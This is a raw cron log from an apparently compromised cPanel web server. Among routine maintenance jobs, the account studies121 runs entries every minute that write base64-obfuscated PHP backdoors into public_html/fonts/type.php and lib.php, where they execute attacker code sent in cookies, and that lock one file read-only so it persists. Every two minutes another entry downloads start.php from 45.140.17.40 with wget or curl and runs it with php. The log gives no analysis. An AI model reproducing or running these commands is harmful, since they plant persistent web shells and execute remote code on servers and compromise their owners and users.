Sep 22 08:29:01 ip-184-168-122-23 CROND[26840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:29:01 ip-184-168-122-23 CROND[26842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:29:01 ip-184-168-122-23 CROND[26843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:29:01 ip-184-168-122-23 CROND[26844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:30:01 ip-184-168-122-23 CROND[27148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27144]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:30:01 ip-184-168-122-23 CROND[27150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:31:01 ip-184-168-122-23 CROND[27466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:31:01 ip-184-168-122-23 CROND[27467]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 08:31:01 ip-184-168-122-23 CROND[27469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:31:01 ip-184-168-122-23 CROND[27471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:31:01 ip-184-168-122-23 CROND[27475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:32:01 ip-184-168-122-23 CROND[27654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:32:01 ip-184-168-122-23 CROND[27655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:32:01 ip-184-168-122-23 CROND[27658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:32:01 ip-184-168-122-23 CROND[27662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:32:01 ip-184-168-122-23 CROND[27665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:33:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:33:01 ip-184-168-122-23 CROND[27804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:33:01 ip-184-168-122-23 CROND[27803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:33:01 ip-184-168-122-23 CROND[27805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:34:01 ip-184-168-122-23 CROND[27957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:34:01 ip-184-168-122-23 CROND[27959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:34:01 ip-184-168-122-23 CROND[27960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:34:01 ip-184-168-122-23 CROND[27961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:34:01 ip-184-168-122-23 CROND[27962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:35:01 ip-184-168-122-23 CROND[28141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:35:01 ip-184-168-122-23 CROND[28143]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 08:35:01 ip-184-168-122-23 CROND[28144]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 08:35:01 ip-184-168-122-23 CROND[28151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:35:01 ip-184-168-122-23 CROND[28152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:35:01 ip-184-168-122-23 CROND[28149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:35:01 ip-184-168-122-23 CROND[28146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:35:01 ip-184-168-122-23 CROND[28156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:36:01 ip-184-168-122-23 CROND[28379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:36:01 ip-184-168-122-23 CROND[28381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:36:01 ip-184-168-122-23 CROND[28383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:36:01 ip-184-168-122-23 CROND[28382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:36:01 ip-184-168-122-23 CROND[28384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:37:01 ip-184-168-122-23 CROND[28786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:37:01 ip-184-168-122-23 CROND[28788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:37:01 ip-184-168-122-23 CROND[28790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:37:01 ip-184-168-122-23 CROND[28793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:38:01 ip-184-168-122-23 CROND[28955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:38:01 ip-184-168-122-23 CROND[28960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:38:01 ip-184-168-122-23 CROND[28958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:38:01 ip-184-168-122-23 CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:38:01 ip-184-168-122-23 CROND[28957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:39:01 ip-184-168-122-23 CROND[29137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:39:01 ip-184-168-122-23 CROND[29140]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 08:39:01 ip-184-168-122-23 CROND[29139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:39:01 ip-184-168-122-23 CROND[29142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:39:01 ip-184-168-122-23 CROND[29141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:40:01 ip-184-168-122-23 CROND[29339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:40:01 ip-184-168-122-23 CROND[29341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:40:01 ip-184-168-122-23 CROND[29344]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:40:01 ip-184-168-122-23 CROND[29345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:40:01 ip-184-168-122-23 CROND[29343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:40:01 ip-184-168-122-23 CROND[29346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:40:01 ip-184-168-122-23 CROND[29348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 08:40:01 ip-184-168-122-23 CROND[29347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
